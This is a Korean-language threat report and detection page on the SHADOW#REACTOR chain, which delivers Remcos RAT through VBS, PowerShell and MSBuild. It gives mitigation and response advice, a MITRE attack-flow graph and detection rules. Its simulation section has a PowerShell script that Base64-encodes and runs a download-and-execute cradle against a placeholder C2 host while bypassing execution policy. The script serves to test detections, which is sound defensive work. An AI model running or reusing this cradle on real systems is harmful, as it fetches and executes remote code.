SHADOW#REACTOR – 텍스트 전용 스테이징, .NET 리액터, 인메모리 REMCOS RAT 배포
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
SHADOW#REACTOR는 악명 높은 원격 액세스 트로이 목마(RAT)인 Remcos를 배포하기 위해 난독화된 VBS 런처, PowerShell 기반 다운로더, 텍스트 전용 사전 단계 아티팩트, .NET Reactor로 보호된 로더 및 MSBuild 실행을 결합한 다단계 Windows 악성코드 체인입니다.
조사
연구자들은 공격자의 인프라에서 회수한 VBS 스크립트에서 시작하여 조립 및 디코딩이 진행되는 PowerShell 루틴을 통해 텍스트 페이로드를 추적하여 흐름을 재구성했습니다. 체인은 .NET 어셈블리를 반사적으로 메모리에 로드하고 Remcos RAT 실행을 트리거하는 MSBuild에 최종 단계 전달로 이어집니다. 이 문서에는 텍스트로 인코딩된 구성 요소, 복호화 로직 및 접근을 유지하기 위한 지속성 방법이 문서화되어 있습니다.
완화
스크립트 호스트 및 인터프리터에 대한 모니터링 범위를 확대하고, 가능하면 사용자 쓰기 경로에서의 VBS/PowerShell 실행을 방지하십시오. 식별된 인프라에 대한 의심스러운 아웃바운드 HTTP 트래픽, MSBuild 오용 및 반사적인 .NET 어셈블리 로딩에 대한 탐지를 추가하십시오. Run-key 수정 및 바로 가기 기반 시작 항목을 포함하여 일반적인 지속성 패턴을 모니터링하십시오.
대응
SHADOW#REACTOR 활동이 확인되면 엔드포인트를 격리하고 전체 프로세스 체인(wscript.exe → powershell.exe → msbuild.exe)을 중지하십시오. 로드된 텍스트 파일 및 관련 레지스트리 아티팩트를 제거하고, Remcos 바이너리 및 연관된 구성 블롭을 삭제하여 복구하십시오. 추가 손상을 파악하고 완전한 제거를 보장하기 위해 철저한 포렌식 검토를 따르십시오.
“graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[“<b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/><b>Description</b>: Victim runs a malicious file that launches code.”] class tech_user_execution technique tool_wscript[“<b>Tool</b> – <b>Name</b>: wscript.exe<br/><b>Description</b>: Windows Script Host used to execute VBScript files.”] class tool_wscript builtin tech_vbscript_interp[“<b>Technique</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/><b>Description</b>: Executes Visual Basic scripts on the host system.”] class tech_vbscript_interp technique tech_powershell_interp[“<b>Technique</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/><b>Description</b>: Runs PowerShell commands and scripts.”] class tech_powershell_interp technique tech_http_comm[“<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Uses HTTP/HTTPS to download payload fragments from remote servers.”] class tech_http_comm technique tech_obfuscation[“<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Payload is encoded with Base64, XOR and protected by .NET Reactor.”] class tech_obfuscation technique tech_reflective_loading[“<b>Technique</b> – <b>T1620 Reflective Code Loading</b> / <b>T1574.014 Hijack Execution Flow: AppDomainManager</b><br/><b>Description</b>: Loads a .NET assembly in memory via AppDomainManager hijacking.”] class tech_reflective_loading technique tool_msbuild[“<b>Tool</b> – <b>Name</b>: MSBuild.exe<br/><b>Description</b>: Trusted developer utility abused as a LOLBin to launch the final stage.”] class tool_msbuild builtin malware_remcos[“<b>Malware</b> – <b>Name</b>: Remcos RAT<br/><b>Description</b>: Remote access trojan used for command and control.”] class malware_remcos malware tech_shortcut_mod[“<b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Creates a LNK shortcut in the Startup folder to achieve persistence.”] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|executes via| tool_wscript tool_wscript u002du002d>|runs| tech_vbscript_interp tech_vbscript_interp u002du002d>|invokes| tech_powershell_interp tech_powershell_interp u002du002d>|downloads fragments via| tech_http_comm tech_http_comm u002du002d>|reconstructs payload| tech_obfuscation tech_obfuscation u002du002d>|loads in memory via| tech_reflective_loading tech_reflective_loading u002du002d>|uses| tool_msbuild tool_msbuild u002du002d>|launches| malware_remcos malware_remcos u002du002d>|may create| tech_shortcut_mod “
공격 흐름
탐지
LOLBAS WScript / CScript (process_creation을 통해)
보기
의심스러운 PowerShell 문자열 (powershell을 통해)
보기
자동 시작 위치의 의심스러운 바이너리 / 스크립트 (file_event을 통해)
보기
공용 사용자 프로필의 의심스러운 파일 (file_event을 통해)
보기
공용 사용자 프로필에서의 의심스러운 실행 (process_creation을 통해)
보기
Powershell에서 의심스러운 .NET 메서드 호출 (powershell을 통해)
보기
탐지할 IOCs (HashSha256): SHADOW#REACTOR – 텍스트-전용 스테이징, .NET REACTOR 및 메모리 내 REMCOS RAT 배포
보기
탐지할 IOCs (SourceIP): SHADOW#REACTOR – 텍스트-전용 스테이징, .NET REACTOR 및 메모리 내 REMCOS RAT 배포
보기
탐지할 IOCs (DestinationIP): SHADOW#REACTOR – 텍스트-전용 스테이징, .NET REACTOR 및 메모리 내 REMCOS RAT 배포
보기
SHADOW#REACTOR 감염 체인 탐지 [Windows 프로세스 생성]
보기
실행 정책 우회 및 난독화된 PowerShell 명령어 탐지 [Windows Powershell]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준 사전 점검이 통과되어야 합니다.
근거: 이 섹션에서는 탐지 규칙을 트리거하도록 설계된 적수 기술(TTP)의 정확한 실행을 세부적으로 설명합니다. 명령어 및 내러티브는 식별된 TTP를 직접 반영하며 탐지 논리에서 예상하는 정확한 텔레메트리를 생성해야 합니다.
-
공격 이야기 및 명령어:
제한된 측면 이동 권한을 가진 공격자는 일반적인 스크립트 차단 방어를 회피하면서 손상된 Windows 호스트에서 원격 페이로드를 실행하고자 합니다. 그들은 PowerShell을 사용합니다-ExecutionPolicy Bypass실행 정책 제약을 무시하기 위해. 악성 페이로드는 Base64로 인코딩된 문자열로 난독화되며, 이를 디코딩하면System.Net.WebClient객체가 생성되어 C2 서버에서 PowerShell 스크립트를 다운로드하고 호출합니다. 이 조합은 세 가지 탐지 기준 (ExecutionPolicy Bypass,FromBase64String,System.Net.WebClient). -
회귀 테스트 스크립트:
#-------------------------------------------- # 시뮬레이션된 악성 PowerShell 실행 #-------------------------------------------- # 1. 간단한 원격 스크립트 생성(데모 전용) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. 스크립트를 Base64로 인코딩 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. ExecutionPolicy Bypass 및 FromBase64String으로 실행 PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
정리 명령어:
# 다운로드된 모든 페이로드를 제거하고 남아 있는 PowerShell 프로세스를 중지하십시오 Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue